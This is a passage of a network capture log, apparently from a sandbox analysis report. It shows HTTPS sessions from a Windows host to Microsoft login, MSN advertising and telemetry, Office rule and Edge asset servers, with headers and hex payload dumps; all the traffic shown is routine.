PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49845	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 15:21:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:44 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BAY x-ms-request-id: 3300e30c-1ff9-4eac-ae16-44c0d2a33cef PPServer: PPV: 30 H: PH1PEPF00011F3B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:43 GMT Connection: close Content-Length: 11389
2024-11-25 15:21:44 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49850	23.96.180.189	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:43 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0C72B46B3C106818117CA1293D846999&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=8e184d914a964862b83f2b8bfd8c983c HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1
2024-11-25 15:21:44 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close
2024-11-25 15:21:44 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49847	13.107.246.40	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:43 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:44 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c5eca787-101e-0073-7a3b-3f18c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T152144Z-15b8b599d88tmlzshC1TEB4xpn000000063g000000001v2x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 15:21:44 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:43 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 043e45ca-501e-0078-1031-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152144Z-178bfbc474bpscmfhC1NYCfc2c00000006a0000000003t27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:44 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:43 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: c2388785-401e-0048-0e03-3e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152144Z-178bfbc474bwh9gmhC1NYCy3rs00000007s00000000095gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:44 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:43 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 33a5509c-101e-00a2-2819-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152144Z-178bfbc474bh5zbqhC1NYCkdug00000007g000000000pcaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:44 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49848	51.116.253.170	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548100466&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1
2024-11-25 15:21:44 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 35 3a 32 31 3a 34 30 2e 34 36 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 33 33 33 39 35 66 39 2d 39 32 36 32 2d 34 38 36 62 2d 38 34 31 66 2d 65 35 39 62 61 39 36 39 38 35 32 35 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 30 36 32 36 37 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T15:21:40.460Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"633395f9-9262-486b-841f-e59ba9698525","epoch":"2630626734"},"app":{"locale
2024-11-25 15:21:44 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=042b1676ae364702a75da31d995d0775&HASH=042b&LV=202411&V=4&LU=1732548104264; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 15:21:44 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2957ea796c8b45179ccf3f31e9141b45; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 15:51:44 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3798 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49859	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:44 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=251301 Expires: Thu, 28 Nov 2024 13:10:05 GMT Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close
2024-11-25 15:21:44 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49856	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:44 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:44 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=383621 Expires: Sat, 30 Nov 2024 01:55:25 GMT Date: Mon, 25 Nov 2024 15:21:44 GMT Connection: close
2024-11-25 15:21:44 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49858	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
